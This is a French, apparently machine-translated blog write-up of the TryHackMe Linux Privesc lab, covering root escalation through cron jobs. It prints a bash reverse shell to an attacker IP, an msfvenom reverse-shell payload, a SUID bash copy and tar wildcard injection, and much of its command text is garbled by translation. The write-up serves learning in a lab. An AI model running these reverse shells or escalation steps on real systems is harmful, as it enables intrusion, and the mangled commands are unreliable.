[Tryhackme] Élévation du privilège en utilisant Cron Jobs! Linux PRIVEUP PARTIE 5

[Tryhackme] Élévation du privilège en utilisant Cron Jobs! Linux PRIVEUP PARTIE 5

Cette fois, nous essaierons "d'élévation des privilèges en utilisant Cron Jobs".
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est la partie 5.
Si vous souhaitez consulter l'écriture pour Linux PRIVESC avec TryhackMe, veuillez également vérifier l'élévation du privilège en utilisant les variables d'environnement LD_PRELOAD et LD_LIBRARY_PATH

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Vente de points de la réalité! / /
Rakuten Market
\5% de points en arrière! / /
Yahoo Shopping
table des matières

Préparation

"explication"

ssh user@10.10.166.11 255 ⨯ L'authenticité de l'hôte '10 .10.166.11 (10.10.166.11) 'ne peut pas être établie. L'empreinte digitale de la clé RSA est SHA256: jwwpvfqc + 8lpqda0b9wfzzxcxcoaho6s8wygjktank. Cette clé hôte est connue par les autres noms / adresses suivants: ~ / .ssh / connu_hosts: 1: [nom hachée] Êtes-vous sûr de vouloir continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.166.11 '(RSA) à la liste des hôtes connus. user@10.10.166.11's Mot de passe: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont des logiciels gratuits; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 de 192.168.1.125 Utilisateur @ debian: ~ $ 

Élévation des privilèges en utilisant des travaux cron

Cron Jobs est une fonctionnalité qui permet aux utilisateurs de les planifier pour s'exécuter à un moment ou à un intervalle spécifique.
Utilisons ces travaux CRON pour obtenir des privilèges racine.

Cron Jobs - Autorisations de fichiers

Tout d'abord, voyons le contenu de Crontab.
Crontab contient la configuration des travaux CRON.

user @ debian: ~ $ cat / etc / crontab # / etc / crontab: CRONTAB à l'échelle du système Contrairement à tout autre crontab, vous n'avez pas à exécuter la commande `Crontab '# pour installer la nouvelle version lorsque vous modifiez ce fichier # et les fichiers dans /etc/cron.d. Ces fichiers ont également des champs de nom d'utilisateur, # qu'aucun des autres crontabs ne le fait. Shell = / bin / sh path = / home / user: / usr / local / sbin: / usr / local / bin: / sbin: / usr / sbin: / usr / bin # mh dom mon dow command 17 * * * root cd /& run -ps --report /etc/cron.hourly 25 6 * * * root test -x / usr / sbin / anacron || (cd / && run-plats --report /etc/cron.daily) 47 6 * * 7 root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.weekly) 52 6 1 * * root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.monthly) # * * * * * * root reverse.sh * * * * * root /usr/local/bin/compress.sh

D'après ce qui précède, vous pouvez voir qu'il y a deux travaux CRON prévus pour s'exécuter chaque minute: "supwrite.sh" et "/usr/local/bin/compress.sh".

Voyons maintenant le chemin complet pour écraser.sh.

Utilisateur @ debian: ~ $ localiser l'écrasement.sh /usr/local/bin/overwrite.sh

Il s'avère être "/usr/local/bin/overwrite.sh".
Continuons à vérifier les autorisations d'accès du fichier.

utilisateur @ debian: ~ $ ll /usr/local/bin/overwrite.sh -rwxr - rw- 1 root personnel 40 mai 13 2017 /usr/local/bin/overwrite.sh

Overwrite.sh est inscrit à quiconque.
Maintenant, réécrivez l'éwrite.sh et exécutez la coque inversée.

Utilisateur @ debian: ~ $ vi /usr/local/bin/overwrite.sh user @ debian: ~ $ cat /usr/local/bin/overwrite.sh #! / bin / bash bash -i> & /dev/tcp/10.18.110.90/4444 0> & 1

Une fois que vous avez terminé la réécriture comme ceci, accédez à la machine d'attaque et écoutez-la à l'aide de NetCAT.

┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NVLP 4444 Écoute sur [Any] 4444 ... Connectez-vous à [10.18.110.90] de (inconnu) [10.10.166.11] 52692 bash: pas de contrôle de travail dans cette racine de coquille @ debian: ~ # # 

Je pense que vous pouvez obtenir la coquille racine en moins d'une minute.
Juste pour être en sécurité, je vais courir whoami.

root @ debian: ~ # whoami whoami root root @ debian: ~ # 

Vous avez maintenant des privilèges racine!

Cron Jobs - Path Environment Variable

Affichons à nouveau Crontab.
Ensuite, jetons un coup d'œil au fait que le chemin contient "/ home / utilisateur".
Overwrite.sh est défini pour s'exécuter s'il est sur un chemin, vous pouvez donc exécuter Shell en l'identifiant en tant que fourrure.sh.

user @ debian: ~ $ cat / etc / crontab # / etc / crontab: CRONTAB à l'échelle du système Contrairement à tout autre crontab, vous n'avez pas à exécuter la commande `Crontab '# pour installer la nouvelle version lorsque vous modifiez ce fichier # et les fichiers dans /etc/cron.d. Ces fichiers ont également des champs de nom d'utilisateur, # qu'aucun des autres crontabs ne le fait. Shell = / bin / sh path = / home / user: / usr / local / sbin: / usr / local / bin: / sbin: / usr / sbin: / usr / bin # mh dom mon dow command 17 * * * root cd /& run -ps --report /etc/cron.hourly 25 6 * * * root test -x / usr / sbin / anacron || (cd / && run-plats --report /etc/cron.daily) 47 6 * * 7 root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.weekly) 52 6 1 * * root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.monthly) # * * * * * * root reverse.sh * * * * * root /usr/local/bin/compress.sh

Maintenant, copiez "/ bin / bash" Under "/ home / user" et ajoutez des autorisations d'exécution et des autorisations SUID.

Les autorisations SUID sont un mécanisme qui peut être exécuté avec les autorisations du propriétaire de fichier lorsqu'un autre utilisateur l'exécute.
Dans ce cas, vous pourrez l'exécuter avec des privilèges racine.

user @ debian: ~ $ vi /home/user/overwrite.sh user @ debian: ~ $ cat /home/user/overwrite.sh #! / bin / bash cp / bin / bash / tmp / rootbash chmod + xs / tmp / rootbashash

Après avoir attendu environ une minute, exécutez le "/ tmp / rootbash" copié avec -p.
J'ai réussi à obtenir un shell qui fonctionne avec des privilèges racine!

utilisateur @ debian: ~ $ / tmp / rootbash -p rootbash-4.1 # whoami root

Cron Jobs - Wildcards

Ensuite, jetons un coup d'œil à une autre coquille.

Utilisateur @ debian: ~ $ cat /usr/local/bin/compress.sh #! / bin / sh CD / home / utilisateur tar czf /tmp/backup.tar.gz *

La commande de goudron utilise les caractères génériques dans le répertoire domestique.
TAR a la possibilité d'exécuter les commandes dans le cadre d'un point de contrôle.
Ceci est utilisé pour exécuter la coque inversée.

Tout d'abord, utilisez MSFvenom pour générer un shell inversé.

┌fique (HackLab㉿HackLab) - [~] └─ $ msfvenom -p linux / x64 / shell_reverse_tcp lhost = 10.18.110.90 lport = 4444 -f elf -o shell.el [-] Aucune plate-forme n'a été sélectionnée, choisissant MSF :: module :: plate-forme :: Linux à la charge de rémunération [-] Aucun arche, sélection, x64 à la plate-forme: Linux à partir de la charge de paie [-] AUCUN ARCH, Sélectionné, x64 Platform: Linux à la charge de paiement [-] Aucun arche, sélection, Sélection: X64. Encodeur spécifié, Sortie de charge utile brute Taille de charge utile: 74 octets Taille finale du fichier elfe: 194 octets enregistrés comme: shell.elf

Cette fois, transférons des fichiers à l'aide de SCP.

┌fiques (HackLab㉿HackLab) - [~ / TRYHACKME / LinuxPrivenv] └sé 

Revenez à la machine cible et vérifiez si le transfert est effectué correctement.
Il y avait shell.elf.

Utilisateur @ debian: ~ $ ll Total 12 -rw-r - r-- 1 utilisateur utilisateur 212 15 mai 2017 myvpn.ovpn -rw-r - r-- 1 utilisateur d'utilisateur 194 avr 6 09:18

Accordez les autorisations d'exécution à Shell.elf.

Chmod + x /home/user/shell.elf user @ debian: ~ $ ll total 12 -rw-r - r-- 1 utilisateur utilisateur 212 15 mai 2017 myvpn.ovpn -rwxr-xr-x 1 utilisateur utilisateur 194 avr 6 09:18 shell.elf DRWXR-xr-x 8 utilisateur utilisateur 4096 15 mai 2020 outils outils

Ensuite, créez le fichier suivant:
Si vous définissez l'option TAR sur le nom du fichier, il sera traité comme une option plutôt que comme un nom de fichier.

user @ debian: ~ $ touch / home / user / - checkpoint = 1 utilisateur @ debian: ~ $ touch /home/user/ --checkpoint-action=exec=shell.ell user @ debian: ~ $ ll total 12 -rw-r - r-- utilisateur 0 avr 6 09:26 --checkpoint = 1-rw-r- r - 1 utilisateur 0 avr 6 09:28 --checkpoint-action = execy -rw-r - r-- 1 utilisateur utilisateur 212 15 mai 2017 myvpn.ovpn -rwxr-xr-x 1 utilisateur utilisateur 194 avr 6 09:18 shell.ell Drwxr-xr-x 8 utilisateur utilisateur 4096 15 mai 2020 outils

Dans cet état, écoutez-le à l'aide de NetCAT.

┌── (hackLab㉿hackLab) - [~] └─ $ nc -nvlp 4444 Écoute sur [any] 4444 ... connectez-vous à [10.18.110.90] de (inconnu) [10.10.166.11] 52692 bash: pas de contrôle de travail dans cette root shell @ debian: ~ # whoami whoami root root @ debian: ~ # 

Vous avez maintenant des privilèges racine!

résumé

Cette fois, j'ai essayé «l'élévation des privilèges en utilisant Cron Jobs».
Comme c'est une fonctionnalité que j'utilise fréquemment, je me sens un peu inquiet d'avoir travaillé dessus sans penser à rien jusqu'à présent. . .
J'étais toujours si curieux de savoir si cela pouvait être fait.

Références et sites

Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières